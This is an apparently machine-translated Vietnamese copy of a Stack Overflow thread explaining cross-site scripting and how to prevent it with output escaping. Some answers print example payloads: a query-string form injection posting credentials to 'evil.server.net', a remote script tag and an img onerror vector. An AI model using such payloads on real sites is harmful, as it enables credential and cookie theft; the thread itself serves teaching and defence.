2010-02-09 44 views
16

Cross-site scripting (XSS) là một loại của bảo mật máy tính dễ bị tổn thương thường được tìm thấy trong các ứng dụng web cho phép kẻ tấn công độc hại để bơm client-side script vào web trang được người dùng khác. An khai thác mã cross-site được khai thác có thể được kẻ tấn công sử dụng để bỏ qua các điều khiển truy cập chẳng hạn như chính sách gốc của chính sách xuất xứ . Cross-site scripting thực hiện trên các trang web là khoảng 80% của tất cả các an ninh lỗ hổng tài liệu của Symantec như của 2007.Khái niệm chung đằng sau XSS là gì?

Được rồi vì vậy điều này có nghĩa là một hacker hàng thủ một số độc hại JS/VBScript và mang nó cho nạn nhân không ngờ khi truy cập trang web hợp pháp có đầu vào không thoát?

Ý tôi là, tôi biết cách thực hiện SQL injection ....

Tôi đặc biệt không hiểu cách JS/VBScript có thể gây ra quá nhiều thiệt hại! Tôi thoguht họ chỉ chạy trong trình duyệt, nhưng dường như thiệt hại dao động từ keylogging to cookie stealing and trojans.

Sự hiểu biết của tôi về XSS có đúng không? nếu không, ai đó có thể làm rõ?

Làm cách nào để ngăn XSS xảy ra trên trang web của tôi? Điều này có vẻ quan trọng; 80% lỗ hổng bảo mật có nghĩa là nó là một phương pháp cực kỳ phổ biến để thỏa hiệp máy tính.

Trả lời

20

Straight Forward XSS

  1. tôi thấy google có một lỗ hổng XSS
  2. tôi viết một kịch bản mà viết lại một trang google nào để trông giống hệt như google đăng nhập thực tế
  3. trang giả Mỹ nộp một máy chủ của bên thứ ba và sau đó chuyển hướng trở lại trang thực
  4. Tôi nhận mật khẩu tài khoản google, người dùng không nhận ra điều gì đã xảy ra, google không biết điều gì đã xảy ra

XSS như một nền tảng cho CSRF (điều này được cho là thực sự xảy ra)

  1. Amazon có một lỗ hổng CSRF nơi một "luôn luôn giữ cho tôi đăng nhập" cookie cho phép bạn cờ một mục như tấn công
  2. Tôi tìm thấy một XSS lỗ hổng trên một trang web lưu lượng cao
  3. tôi viết một javascript mà lượt truy cập lên các url để đánh dấu tất cả các sách được viết bởi gay/tác giả đồng tính nữ trên amazon như tấn công
  4. để amazon, họ đang nhận được yêu cầu hợp lệ từ các trình duyệt thực sự với auth thực bánh quy. Tất cả những cuốn sách biến mất khỏi trang web qua đêm
  5. Internet freaks các địa ngục ra.

XSS như một nền tảng cho phiên Fixation tấn công

  1. tôi tìm thấy một trang web thương mại điện tử mà không reset session của họ sau khi đăng nhập (giống như bất kỳ trang web asp.net), có khả năng để vượt qua id phiên trong chuỗi truy vấn hoặc thông qua cookie và lưu trữ thông tin xác thực trong phiên (khá phổ biến)
  2. Tôi tìm thấy lỗ hổng XSS trên trang trên trang web đó
  3. Tôi viết tập lệnh ID phiên tôi kiểm soát
  4. Someo ne truy cập trang đó và được truy cập vào phiên của tôi.
  5. Họ đăng nhập
  6. bây giờ tôi có khả năng làm bất cứ điều gì tôi muốn như họ, trong đó có mua sản phẩm với thẻ lưu

Ba là những người lớn. Vấn đề với các cuộc tấn công XSS, CSRF, và Session Fixation được rằng họ là rất, rất khó để theo dõi và sửa chữa, và có thực sự đơn giản cho phép, đặc biệt là nếu một nhà phát triển không biết nhiều về họ.

+1

Đây là một câu trả lời thực sự tốt, tôi đã mô tả các vector tấn công nhưng tôi nghĩ rằng bạn đã vạch ra XSS tấn công tốt hơn tôi. – Spence

+0

người đàn ông tôi muốn họ có một loại Stackoverflow của trang web đặc biệt cho các chủ đề bảo mật máy tính – bkbkbk

+0

@bkbkbk http://security.stackexchange.com/ – MTCoster

0

Các sự cố tấn công XSS có liên quan đến câu cá nhiều hơn. Vấn đề là một trang web mà khách hàng tin tưởng có thể được tiêm mã dẫn đến trang web do kẻ tấn công thực hiện vì mục đích nhất định. Ăn cắp thông tin nhạy cảm, ví dụ.

Vì vậy, trong các cuộc tấn công XSS, kẻ xâm nhập không xâm nhập vào cơ sở dữ liệu của bạn và không gây rối với nó. Anh ấy đang chơi với ý nghĩa trong khách hàng rằng trang web này là an toàn và mọi liên kết trên đó đều trỏ đến một vị trí an toàn.

Đây chỉ là bước đầu tiên của cuộc tấn công thực sự - để mang lại cho khách hàng trong môi trường thù địch.

Tôi có thể cung cấp cho bạn một ví dụ ngắn gọn. Nếu một tổ chức ngân hàng đặt một shoutbox trên trang của họ, ví dụ và họ không ngăn tôi tấn công XSS, tôi có thể hét lên "Này, hãy truy cập vào liên kết này và nhập mật khẩu và thẻ tín dụng Không để kiểm tra bảo mật!" ... Và bạn biết liên kết này sẽ dẫn đến đâu, đúng không?

Bạn có thể ngăn chặn các cuộc tấn công XSS bằng cách đảm bảo bạn không hiển thị bất kỳ nội dung nào trên trang của mình, điều này đến từ đầu vào của người dùng mà không cần thoát thẻ html. Các ký tự đặc biệt nên được thoát, để chúng không can thiệp vào việc đánh dấu các trang html của bạn (hoặc bất kỳ công nghệ nào bạn sử dụng). Có rất nhiều thư viện cung cấp thư viện này, bao gồm thư viện Microsoft AntiXSS.

5

tôi không hiểu cách JS/VBScript có thể gây ra quá nhiều thiệt hại!

Ok. giả sử bạn có trang web và trang web được phân phối từ http://trusted.server.com/thesite. Giả sử trang web này có hộp tìm kiếm và khi bạn tìm kiếm url sẽ trở thành: http://trusted.server.com/thesite?query=somesearchstring.

Nếu trang web quyết định không xử lý chuỗi tìm kiếm và xuất kết quả trong kết quả, như "Bạn tìm kiếm" somesearchstring "không mang lại kết quả nào, thì ai cũng có thể tiêm html tùy ý vào trang web. Ví dụ:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form> 

Vì vậy, trong trường hợp này, trang web sẽ hiển thị một biểu mẫu đăng nhập giả mạo trên trang kết quả tìm kiếm và nếu người dùng gửi nó, nó sẽ gửi dữ liệu đến máy chủ không đáng tin cậy. thấy rằng, đặc biệt nếu url thực sự là dài họ sẽ chỉ nhìn thấy đầu tiên, nhưng, và giả sử họ đang đối phó với trust.server.com

Biến thể Điều này bao gồm việc tiêm một thẻ <script> để thêm trình xử lý sự kiện vào tài liệu để theo dõi hành động của người dùng hoặc gửi cookie tài liệu đến máy chủ ác. Bằng cách này, bạn có thể hy vọng gặp phải các dữ liệu nhạy cảm như dữ liệu đăng nhập, mật khẩu hoặc thẻ tín dụng. Hoặc bạn có thể thử chèn một kiểu đặc biệt chiếm toàn bộ cửa sổ ứng dụng khách và phục vụ một trang web trông giống như trang gốc nhưng thực sự bắt nguồn từ evil.server.com. Miễn là người dùng bị lừa sử dụng nội dung được tiêm thay vì bản gốc, sự an toàn đã bị xâm phạm.

Loại XSS này được gọi là phản chiếu và không liên tục. Phản ánh vì url được "relected" trực tiếp trong phản hồi và không liên tục vì trang web thực sự không thay đổi - nó chỉ hoạt động như một thông qua. Lưu ý rằng một cái gì đó như https cung cấp không có bảo vệ gì ở đây - trang web chính nó bị hỏng, bởi vì nó vẹt đầu vào người dùng thông qua chuỗi truy vấn.

Bí quyết hiện tại là giúp người dùng không tin tưởng bất kỳ liên kết nào bạn cung cấp cho họ. Ví dụ, bạn có thể gửi cho họ một email HTML và bao gồm một liên kết tìm kiếm hấp dẫn trỏ đến url giả mạo. Hoặc bạn có lẽ có thể truyền bá nó trên wiki, diễn đàn vv Tôi chắc chắn bạn có thể đánh giá cao sự dễ dàng của nó - nó chỉ là một liên kết, những gì có thể đi sai, phải không?

Đôi khi điều đó có thể tồi tệ hơn. Một số trang web thực sự lưu trữ nội dung do người dùng cung cấp. Ví dụ đơn giản: nhận xét trên blog hoặc chủ đề trên diễn đàn. Hoặc nó có thể tinh tế hơn: trang tiểu sử người dùng trên mạng xã hội. Nếu các trang đó cho phép html tùy ý, đặc biệt. tập lệnh và html do người dùng cung cấp này được lưu trữ và sao chép, sau đó mọi người chỉ truy cập trang chứa nội dung này đều có nguy cơ. Đây là XSS liên tục. Bây giờ người dùng thậm chí không cần phải bấm vào một liên kết nữa, chỉ cần truy cập là đủ. Một lần nữa các cuộc tấn công thực tế bao gồm sửa đổi các trang thông qua kịch bản để nắm bắt dữ liệu người dùng.

Tiêm tập lệnh có thể được cùn, ví dụ, người ta có thể chèn một <script src="http://evil.server.net/script.js"> hoàn chỉnh hoặc có thể tinh tế: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

Làm cách nào để tự bảo vệ mình: điều quan trọng là không bao giờ đầu vào đầu ra của người dùng. Điều này có thể khó khăn nếu trang web của bạn xoay quanh nội dung do người dùng cung cấp có đánh dấu.

5

Hãy tưởng tượng một diễn đàn web. Một cuộc tấn công XSS có thể là tôi tạo một bài đăng với một số javascript. Khi bạn duyệt đến trang, trang web của bạn sẽ tải và chạy js và làm những gì tôi nói. Khi bạn đã duyệt đến trang và rất có thể đã đăng nhập, javascript của tôi sẽ làm bất cứ điều gì bạn có quyền làm, chẳng hạn như tạo bài đăng, xóa bài đăng của bạn, chèn spam, hiển thị cửa sổ bật lên, v.v.

Vì vậy, thật khái niệm với XSS là tập lệnh thực thi trong ngữ cảnh người dùng của bạn, đó là một sự leo thang đặc quyền. Bạn cần phải cẩn thận rằng bất cứ nơi nào trong ứng dụng của bạn mà nhận được đầu vào của người dùng thoát bất kỳ tập lệnh, vv bên trong nó để đảm bảo rằng một XSS không thể được thực hiện.

Bạn phải theo dõi các cuộc tấn công thứ cấp. Hãy tưởng tượng nếu tôi đặt tập lệnh độc hại vào tên người dùng của mình.Điều đó có thể đi vào trang web không được kiểm tra, và sau đó viết ra không được kiểm soát nhưng sau đó bất kỳ trang nào được xem với tên người dùng của tôi trên nó sẽ thực sự thực thi kịch bản độc hại trong ngữ cảnh người dùng của bạn.

Thoát đầu vào của người dùng. Đừng cuộn mã của bạn để làm điều này. Kiểm tra mọi thứ đang diễn ra và mọi thứ sắp ra mắt.

21

Như câu trả lời về cách XSS có thể độc hại đã được đưa ra, tôi sẽ chỉ gửi hai giới thiệu flash đẹp trên XSS và trả lời những câu dưới đây trái chưa được trả lời:

làm thế nào tôi có thể ngăn ngừa XSS xảy ra trên trang web của tôi?

Dưới đây là hai giới thiệu đèn flash tốt đẹp về XSS:

Như để ngăn chặn từ XSS, bạn cần phải HTML-thoát bất kỳ người sử dụng-kiểm soát đầu vào khi chúng sắp được hiển thị lại lần thứ trang điện tử. Điều này bao gồm các tiêu đề yêu cầu, các tham số yêu cầu và bất kỳ đầu vào được điều khiển do người dùng lưu trữ nào được cung cấp từ cơ sở dữ liệu. Đặc biệt cần có <, >, "' vì nó có thể làm biến dạng mã HTML xung quanh nơi nhập lại này được hiển thị lại.

Hầu hết mọi công nghệ xem đều cung cấp các cách dựng sẵn để thoát HTML (hoặc XML, cũng đủ) entities.

Trong PHP, bạn có thể làm điều đó với htmlspecialchars(). Ví dụ.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>"> 

Nếu bạn cần phải thoát khỏi singlequotes với điều này là tốt, bạn sẽ cần phải cung cấp các luận cứ ENT_QUOTES, cũng xem tài liệu PHP aforelinked.

Trong JSP, bạn có thể thực hiện điều đó với JSTL <c:out> hoặc fn:escapeXml(). Ví dụ.

<input name="foo" value="<c:out value="${param.foo}" />"> 

hoặc

<input name="foo" value="${fn:escapeXml(param.foo)}"> 

Lưu ý rằng bạn thực sự không cần phải thoát khỏi XSS trong xử lý yêu cầu, nhưng chỉ trong quá trình phản ứng. Không cần xử lý yêu cầu trong khi yêu cầu xử lý yêu cầu và có thể không đúng với đầu vào của người dùng sớm hay muộn (và với tư cách quản trị viên trang web bạn muốn biết những gì người dùng được đề cập đã thực sự nhập để bạn có thể thực hiện các hành động trên mạng xã hội Nếu cần). Liên quan đến việc tiêm SQL, chỉ cần thoát khỏi nó trong quá trình xử lý yêu cầu tại thời điểm khi dữ liệu sắp được lưu giữ trong cơ sở dữ liệu.

+0

file flash là tốt, cảm ơn. – Elbek

+5

Oh sự trớ trêu của cung cấp thông tin an ninh thông qua tập tin flash :) – blank

Các vấn đề liên quan